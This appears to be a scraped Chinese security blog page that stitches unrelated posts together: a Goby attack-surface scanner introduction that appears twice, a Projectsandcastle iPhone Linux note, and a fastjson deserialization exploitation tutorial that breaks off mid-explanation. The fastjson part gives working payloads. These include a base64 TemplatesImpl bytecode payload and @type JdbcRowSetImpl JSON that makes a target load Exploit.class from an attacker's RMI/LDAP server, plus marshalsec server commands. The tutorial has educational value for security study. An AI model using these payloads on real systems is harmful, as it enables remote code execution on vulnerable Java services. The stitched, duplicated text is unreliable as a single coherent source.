Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。我们希望能够输出更具生命力的工具,能够对标黑客的实际能力,帮助企业来有效地理解和应对网络攻击。

Goby主要特性: 
· 实战性:Goby并不关注漏洞库的数量有多么多,而是关注真正用于实际攻击的漏洞数量,以及漏洞的利用深度(最小精准**体,打造权威性); 
· 体系性:打通渗透前,渗透中,以及渗透后的完整流程完整DOM事件收集,自动化触发。 
· 高效性:利用积累的规则库,全自动的实现IT资产攻击面的梳理;效率提升数倍,发包更少速度更快、更精准; 
· 平台性:发动广泛的安全人员的力量,完善上面提到的所有资源库;包括基于社区的数据共享,插件发布,漏洞共享等; 
· 艺术性:安全工具原本就比较偏门,我们更多的关注功能而非美观度,所有大部分的安全工具都是其貌不扬;我们希望使用Goby能给大家带来感官上的享受。

0x001 安装

Goby目前是使用Go语言开发、采用Electron+VUE前端框架的绿色版本,支持windows/MacOS/Linux,无需安装。因Goby基于网络扫描,所以使用前,请先赋予goby识别网卡的权限。方式如下:

1、Windows用户 
下载Npcap数据捕获包,安装完成后,启动goby。 
下载地址https://nmap.org/npcap/dist/npcap-0.9983.exe

2、MacOS用户 
执行以下命令:

1.cd /dev

2.sudo chown $USER:admin bp*

0x002 使用

1. 资产收集 
自动探测当前网络空间存活的IP及解析域名到IP,轻量且快速的分析出端口对应的协议、Mac地址、证书、应用产品、厂商等信息。 

scan 图

在设置界面开启以下功能,将获取更多资产信息。

· 子域名扫描

自动爬取子域名,AXFR监测,二级域名字典爆破,关联域名查询。同时支持连接FOFA,扩大数据源。

· 网站截图

通过截图,快速判断网站系统应用,无须再一一打开。

注:该功能基于Chrome截图插件实现,需要预安装Chrome浏览器。

· 深度分析

发现非标准端口或非标准应用系统资产,进行深入的应用识别。在实战场景中非常有效。

· 代理扫描

通过socket5代理,快速进入内网,开启内网渗透。

注:支持Pcap及socket两种模式,请根据不同的场合动态切换。 
pcap模式:支持协议识别和漏洞扫描,不支持端口扫描; 
socket模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢。

2. 漏洞利用

● 对扫描出来的风险资产进行批量验证,验证成功后,可进行利用,利用成功后,不需要自己搭建服务器,直接进行shell管理。

session 图

· 支持自定义PoC及弱口令字典,让安全人员自定义属于自己的武器库,增强攻击力。

自定义PoC图

3. 生成报告 

扫描完成后,生成分析报告,并支持PDF、Excel导出,方便本地分析及呈报传阅。 

report 图

4. CS模式 

远程服务,区分扫描模块及展示模块。 
CS搭建:开启远端服务,然后配置服务端主机、端口、账户信息。 

CS 图

0x003 预置数据说明

1. 规则库 

超过10万种规则识别引擎,硬件覆盖范围:网络设备,物联网设备,网络安全产品,办公设备等,软件覆盖范围:CRM,CMS,EMAIL,OA系统等。

2. 协议 
超过200种协议识别引擎,覆盖网络协议,数据库协议,IoT协议,ICS协议等。

3. 端口 
除了常用端口,我们还根据安全实战场景进行了端口分组,包括企业、咖啡馆、酒店、机场、数据库、物联网、SCADA、ICS、后门检测等。

4. 漏洞及弱口令 
覆盖Weblogic,Tomcat等最严重漏洞及超过1000种设备的预置账号信息。

· CVE-2020-2551

· CVE-2020-2555

· CVE-2019-10758

· CVE-2011-3556

·  CVE-2017-5878

· CVE-2018-1297

· CVE-2019-19781

· CVE-2020-10189

· CVE-2016-4437

· CVE-2018-1000861

· CVE-2017-1000353

· CVE-2020-1938 
… 
持续更新中

0x004 小结

Goby目前是Beta版本,还有很多功能正在按部就班的开发,如上面提到的插件市场及社区数据共享等。以及,之前在追求功能的时候,顾不上一些边边角角,导致遗留了很多bug。所以接下来的时间,Goby团队会重点完善如下几个方面:一)稳定性;二)实战型漏洞的补充完善;三)几个大功能的开发。完成这几点,争取今年Goby版本转正,发布正式版让大家批评指正。

官网:https://gobies.org/

Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。我们希望能够输出更具生命力的工具,能够对标黑客的实际能力,帮助企业来有效地理解和应对网络攻击。

Goby主要特性: 
· 实战性:Goby并不关注漏洞库的数量有多么多,而是关注真正用于实际攻击的漏洞数量,以及漏洞的利用深度(最小精准**体,打造权威性); 
· 体系性:打通渗透前,渗透中,以及渗透后的完整流程完整DOM事件收集,自动化触发。 
· 高效性:利用积累的规则库,全自动的实现IT资产攻击面的梳理;效率提升数倍,发包更少速度更快、更精准; 
· 平台性:发动广泛的安全人员的力量,完善上面提到的所有资源库;包括基于社区的数据共享,插件发布,漏洞共享等; 
· 艺术性:安全工具原本就比较偏门,我们更多的关注功能而非美观度,所有大部分的安全工具都是其貌不扬;我们希望使用Goby能给大家带来感官上的享受。

0x001 安装

Goby目前是使用Go语言开发、采用Electron+VUE前端框架的绿色版本,支持windows/MacOS/Linux,无需安装。因Goby基于网络扫描,所以使用前,请先赋予goby识别网卡的权限。方式如下:

1、Windows用户 
下载Npcap数据捕获包,安装完成后,启动goby。 
下载地址https://nmap.org/npcap/dist/npcap-0.9983.exe

2、MacOS用户 
执行以下命令:

1.cd /dev

2.sudo chown $USER:admin bp*

0x002 使用

1. 资产收集 
自动探测当前网络空间存活的IP及解析域名到IP,轻量且快速的分析出端口对应的协议、Mac地址、证书、应用产品、厂商等信息。 

scan 图

在设置界面开启以下功能,将获取更多资产信息。

· 子域名扫描

自动爬取子域名,AXFR监测,二级域名字典爆破,关联域名查询。同时支持连接FOFA,扩大数据源。

· 网站截图

通过截图,快速判断网站系统应用,无须再一一打开。

注:该功能基于Chrome截图插件实现,需要预安装Chrome浏览器。

· 深度分析

发现非标准端口或非标准应用系统资产,进行深入的应用识别。在实战场景中非常有效。

· 代理扫描

通过socket5代理,快速进入内网,开启内网渗透。

注:支持Pcap及socket两种模式,请根据不同的场合动态切换。 
pcap模式:支持协议识别和漏洞扫描,不支持端口扫描; 
socket模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢。

2. 漏洞利用

● 对扫描出来的风险资产进行批量验证,验证成功后,可进行利用,利用成功后,不需要自己搭建服务器,直接进行shell管理。

session 图

· 支持自定义PoC及弱口令字典,让安全人员自定义属于自己的武器库,增强攻击力。

自定义PoC图

3. 生成报告 

扫描完成后,生成分析报告,并支持PDF、Excel导出,方便本地分析及呈报传阅。 

report 图

4. CS模式 

远程服务,区分扫描模块及展示模块。 
CS搭建:开启远端服务,然后配置服务端主机、端口、账户信息。 

CS 图

0x003 预置数据说明

1. 规则库 

超过10万种规则识别引擎,硬件覆盖范围:网络设备,物联网设备,网络安全产品,办公设备等,软件覆盖范围:CRM,CMS,EMAIL,OA系统等。

2. 协议 
超过200种协议识别引擎,覆盖网络协议,数据库协议,IoT协议,ICS协议等。

3. 端口 
除了常用端口,我们还根据安全实战场景进行了端口分组,包括企业、咖啡馆、酒店、机场、数据库、物联网、SCADA、ICS、后门检测等。

4. 漏洞及弱口令 
覆盖Weblogic,Tomcat等最严重漏洞及超过1000种设备的预置账号信息。

· CVE-2020-2551

· CVE-2020-2555

· CVE-2019-10758

· CVE-2011-3556

·  CVE-2017-5878

· CVE-2018-1297

· CVE-2019-19781

· CVE-2020-10189

· CVE-2016-4437

· CVE-2018-1000861

· CVE-2017-1000353

· CVE-2020-1938 
… 
持续更新中

0x004 小结

Goby目前是Beta版本,还有很多功能正在按部就班的开发,如上面提到的插件市场及社区数据共享等。以及,之前在追求功能的时候,顾不上一些边边角角,导致遗留了很多bug。所以接下来的时间,Goby团队会重点完善如下几个方面:一)稳定性;二)实战型漏洞的补充完善;三)几个大功能的开发。完成这几点,争取今年Goby版本转正,发布正式版让大家批评指正。

官网:https://gobies.org/

Projectsandcastle

Projectsandcastle是一款针对iPhone的Android/Linux支持工具,该工具可以给广大研究人员提供以下实用工具:

1、loader/ 通过pongoOS加载内核和设备树

2、syscfg/ 可从目标设备的syscfg分区中提取配置信息

3、hx-touchd/ 触摸屏幕支持守护进程

4、hcdpack/ 可从源码文件中提取蓝牙固件信息

内核

内核可以从下列GitHub库中获取到稳定版本(linux-stable):

https://github.com/corellium/linux-sandcastle

Buildroot

Projectsandcastle的Linux Ramdisk使用了buildroot来进行构建,我们提供的定制版本buildroot可以从下列地址获取:

https://github.com/corellium/sandcastle-buildroot

Buildroot是一款简单、高效且易于使用的工具,它可以帮助我们通过交叉编译来生成一个嵌入式的Linux系统。

相关操作文档可以在上述地址中的docs/manual文件中找到,你可以使用命令“make manual-text”来生成一个文本文档,或读取output/docs/manual/manual.text文件。

我们可以按照下列方式来构建和使用buildroot工具:

1、运行命令“make menuconfig”;

2、选择目标架构,以及需要编译的代码包;

3、运行“make”命令;

4、等待编译完成;

5、在output/images目录中找到内核、bootloader、root文件系统等内容;

在线文档:【点我查看

Android应用程序

安装APK文件

广大研究人员可以使用下列命令安装APK文件:

adb install foo.apk

但是,这种方式会存在以下限制因素:

1、如果是纯Java APK文件,并且不需要该项目所不支持的硬件的话,则可以正常运行;

2、仅包含了ARMv7代码(32位)的APK文件将无法运行;

3、包含了ARMv8代码(64位)的APK文件将需要对代码进行重构后方可运行;

重构代码库

我们需要将代码库文件按照16KB页面大小来构建,首先,当代码库链接成功时,尝试运行下列选项/命令:

-z common-page-size=0x4000 -z max-page-size=0x4000

如果连接器使用了C编译器来封装,那你可能还需要使用下列参数:

-Wl,-z,common-page-size=0x4000 -Wl,-z,max-page-size=0x4000

如果一切正常的话,可以使用“readelf -l”:

如果没有RELRO段,请检查具有不同属性的LOAD段是否占用了同一个16KB页;

如果有RELRO段,请确保它在16kB页边界上开始或结束;有时编译器会将RELRO放在RW段的开始处(然后RELRO应该在16k边界处结束),有时会将其放在末尾(然后RELRO应该在16k边界处开始)。

如果还存在问题的话,请检查代码库的源代码,并检查PAGE_SIZE、kPageSize、PAGE_SHIFT、PAGE_BITS等位置。

项目地址

Projectsandcastle:【GitHub传送门

* 参考来源:corellium,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

fastjson使用简介

fastjson项目地址:https://github.com/alibaba/fastjson

用来实现Java POJO对象与JSON字符串的相互转换,比如:

User user = new User();
user.setUserName("李四");
user.setAge(24);   
String userJson = JSON.toJSONString(user);

输出结果:

{"age":24,"userName":"李四"}

以上将对象转换为JSON字符串的操作为序列化,将JSON字符串实例化成Java POJO对象的操作即称为反序列化。

Java反序列化机制

JDK提供了API可以将Java对象转换为字节序列保存在磁盘或网络传输,接收方可以把字节序列再恢复为Java对象。

Serializable接口

定义User类实现Serializable接口

public class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
    private String sex;
    public String getName() {
        return name;
    }
    public String getSex() {
        return sex;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setSex(String sex) {
        this.sex = sex;
    }

    private void readObject(ObjectInputStream s) throws ClassNotFoundException, IOException {
          System.out.println("User readObject");
         s.defaultReadObject();
    }

    private void writeObject(ObjectOutputStream s)throws java.io.IOException{
          System.out.println("User writeObject");
          s.defaultWriteObject();
    }

    private Object readResolve() {
          System.out.println("User readResolve");
         return this;
    }
}

Serializable接口没有任何需要实现的方法,它仅仅是个标识。一个类的对象需要被序列化,必须实现Serializable接口,如果不实现会抛出异常java.io.NotSerializableException。

也可以实现Externalizable接口,Externalizable接口继承自Serializable接口,并且抽象方法writeExternal和readExternal分别对应Serializable接口约定的writeObject和readObject方法。

public interface Externalizable extends java.io.Serializable {
    /**
     * by calling the methods of DataOutput for its primitive values or
     * calling the writeObject method of ObjectOutput for objects, strings, and arrays.
     */
    void writeExternal(ObjectOutput out) throws IOException;

    /**
     * The object implements the readExternal method to restore its
     * contents by calling the methods of DataInput for primitive
     * types and readObject for objects, strings and arrays.  The
     * readExternal method must read the values in the same sequence
     * and with the same types as were written by writeExternal.
     */
    void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}

ObjectInputStream和ObjectOutputStream

使用工具类 ObjectInputStream 和ObjectOutputStream 两个IO类

User user = new User();
user.setName("李四");
user.setSex("M");
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("User.txt")));
oo.writeObject(user);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("User.txt")));
User user1 = (User) ois.readObject();
System.out.println(user1.getName() + ":" + user1.getSex());

序列化需要调用ObjectOutputStream的writeObject方法,反序列化需要调用ObjectInputStream的readObject方法。

输出结果

User writeObject
User readObject
User readResolve
李四:M

从结果来看比较神奇的是writeObject、readObject和readResolve声明为私有却被调用了,这是一种约定。

如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性(不包含transient修饰的属性以及static变量)来进行序列化和反序列化。

如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将通过反射调用目标类指定的writeObject或readObject方法来实现,比如将static变量也加入到序列化中。

至于readResolve同样也是通过反射调用的。从内存中反序列化地”组装”一个新对象时,就会自动调用这个 readResolve方法来返回指定好的对象。从上面结果可以看到它是在readObject之后调用的,因此readResolve可以最终修改反序列化得到的对象。此种设计通常用来保证单例规则,防止序列化导致生成第二个对象的问题。如:

public final class MySingleton implements Serializable{
    private MySingleton() { }
    private static final MySingleton INSTANCE = new MySingleton();
    public static MySingleton getInstance() { return INSTANCE; }
    private Object readResolve() throws ObjectStreamException {
       // instead of the object we're on,
       // return the class variable INSTANCE
      return INSTANCE;
   }
}

fastjson反序列化机制

Case 1

标准POJO类定义如下,有userName和age两个属性。

public class User {
         private int age;
         private String userName;
public User() {
             System.out.println("User construct");
}
         public String getUserName() {
                  System.out.println("getUserName");
                  return userName;
         }
         public void setUserName(String userName) {
                  System.out.println("setUserName:" + userName);
                  this.userName = userName;
         }
         public int getAge() {
                  System.out.println("getAge");
                  return age;
         }
         public void setAge(int age) {
                  System.out.println("setAge:" + age);
                  this.age = age;
         }
}

执行反序列化

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         JSON.parseObject(jsonstr, User.class);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果:

User construct
setAge:24
setUserName:李四

以上结果证明,fastjson在反序列化时会调用setter方法。

Case 2

public class User {
         public int age;
         public String userName;
         public User() {
                  System.out.println("User construct");
         }
}

执行反序列化

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.userName);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果:

User construct
age:24
userName:李四

对于没有setter的可见Filed,fastjson会正确赋值。

Case 3

将Field userName改为私有,不提供setter

public class User {
         public int age;
         private String userName;
         public User() {
                  System.out.println("User construct");
         }
         public String getUserName() {
                  return userName;
         }
}

执行反序列化

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果:

User construct
age:24
userName:null

以上说明对于不可见Field且未提供setter方法,fastjson默认不会赋值。

将反序列化代码修改为如下:

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果:

User construct
age:24
userName:李四

对于未提供setter的私有Field,fastjson在反序列化时需要显式提供参数

Feature.SupportNonPublicField才会正确赋值。

漏洞原理

fastjson支持使用@type指定反序列化的目标类,如下演示:

public class User {
         private int age;
         private String userName;
         public User() {
                  System.out.println("User construct");
         }
         public String getUserName() {
                  System.out.println("getUserName");
                  return userName;
         }
         public void setUserName(String userName) {
                  System.out.println("setUserName:" + userName);
                  this.userName = userName;
         }
         public int getAge() {
                  System.out.println("getAge");
                  return age;
         }
         public void setAge(int age) {
                  System.out.println("setAge:" + age);
                  this.age = age;
         }
}

执行反序列化

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"test_fastjson.User\", \"age\":24,\"userName\":\"李四\"}";
try {
          JSON.parseObject(jsonstr);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果:

User construct
setAge:24
setUserName:李四
getAge
getUserName

JSON字符串@type的值test_fastjson.User指定了要将此JSON字符串实例化为User对象,在此过程中fastjson不仅调用了setter也调用了getter。

假设代码存在Evil类:

public class Evil {
static {
        System.err.println("Pwned");
        try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
                e.printStackTrace();
        }
}
}

执行反序列化

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"test_fastjson.Evil\", \"age\":24,\"userName\":\"李四\"}";
try {
 JSON.parseObject(jsonstr);
}catch (Exception e) {
System.out.println(e.getMessage());
}

输出结果:

Pwned

12

漏洞利用

​ 正常代码中很难找到像Evil这种代码,攻击者要想办法通过现有的POJO类让JVM加载构造的恶意类,整个过程有点类似二进制攻击中的ROP技巧:先绕过fastjson的防御产生反序列化攻击,再通过中间的POJO类完成攻击链,这些POJO类即被称为Gadget。

​ 下文先假定fastjson的版本和使用方式已存在反序列化漏洞,先来分析一下常见的Gadget。

Gadgets种类

目标类本身又存在反序列化逻辑

该种类以com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl为例,详细的TemplatesImpl分析请参考

https://www.cnblogs.com/tr1ple/p/12201553.html?utm_source=tuicool

TemplatesImpl类本身存在代码逻辑,会将成员变量_bytecodes的数据作为类的字节码进行反序列化。

利用fastjson反序列化后会调用属性outputProperties的getter,完成如下调用链:

TemplatesImpl.getOutputProperties()
   TemplatesImpl.newTransformer()
      TemplatesImpl.getTransletInstance()
         TemplatesImpl.defineTransletClasses()
            ClassLoader.defineClass()
               Class.newInstance()
                  ...
                     MaliciousClass.<clinit>()

并且该MaliciousClass必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

定义MaliciousClass如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet{
static {
            System.err.println("Pwned");
            try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
         }

         @Override
         public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
                  // TODO Auto-generated method stub
         }

         @Override
         public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
                  // TODO Auto-generated method stub
         }
}

编译生成Evil.class,将字节码读出并用base64加密,作为_bytecodes。构造如下JSON字符串。

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

以fastjson 1.2.24为例,执行反序列化

try {
         JSON.parseObject(jsonstr, Object.class, Feature.SupportNonPublicField);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果:

Pwned

set property error, outputProperties

323

_bytecodes是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化,所以此gadget的利用条件比较苛刻,思路值得借鉴。

_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

JNDI注入

反序列化Gadget主流都是使用JNDI,现阶段都是在利用根据JNDI特征自动化挖掘Gadget。JNDI采取什么样的方式注入以及能否注入成功和JDK的版本有关,因为JDK为了阻止反序列化攻击也实施了相应的缓解措施。

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

下文以com.sun.rowset.JdbcRowSetImpl为例说明。根据FastJson反序列化漏洞原理,FastJson将JSON字符串反序列化到指定的Java类时,会调用目标类的getter、setter等方法。JdbcRowSetImpl类的setAutoCommit()会调用connect()函数,connect()函数如下:

private Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

connect()会调用InitialContext.lookup(dataSourceName),这里的参数dataSourceName是在setter方法setDataSourceName(String name)中设置的。所以在FastJson反序列化漏洞过程中,我们可以控制dataSourceName的值,也就是说满足了JNDI注入利用的条件。

JNDI注入利用流程如下:

1、目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;

2、攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;

3、攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;

4、目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;

5、攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

在这里,攻击目标扮演的相当于是JNDI客户端的角色,攻击者通过搭建一个恶意的RMI服务端来实施攻击。

可使用https://github.com/mbechler/marshalsec快速开启RMI/LDAP服务。

编译恶意类

public class Exploit {
static {
        System.err.println("Pwned");
        try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
                e.printStackTrace();
        }
}
}

得到Exploit.class,部署在HTTP服务上,通过http://ip:port/Exploit.class可访问下载。

下文代码都以fastjson1.2.24版本为例。**可将恶意类部署有RMI和LDAP两种方式。

1、RMI

JDK 6u132, JDK 7u122, JDK 8u113之前可用。

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对来说更加通用。

但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。

启动RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.50.131:8000/#Exploit 9999

#后面是类名,最后参数是RMI服务监听端口

执行反序列化

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.50.131:9999/Exploit\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}

输出结果同上,弹出计算器。

2、LDAP

JDK 11.0.1、8u191、7u201、6u211之前可用。

除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。

启动LDAP服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.50.131:8000/#Exploit 9999

执行反序列化

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.50.131:9999/Exploit\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}

输出结果同上,弹出计算器。

更高版本JDK

更高版本的JDK做了安全限制,想执行任意代码没有那么简单了。

源码参考https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

利用本地Class作为Reference Factory

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

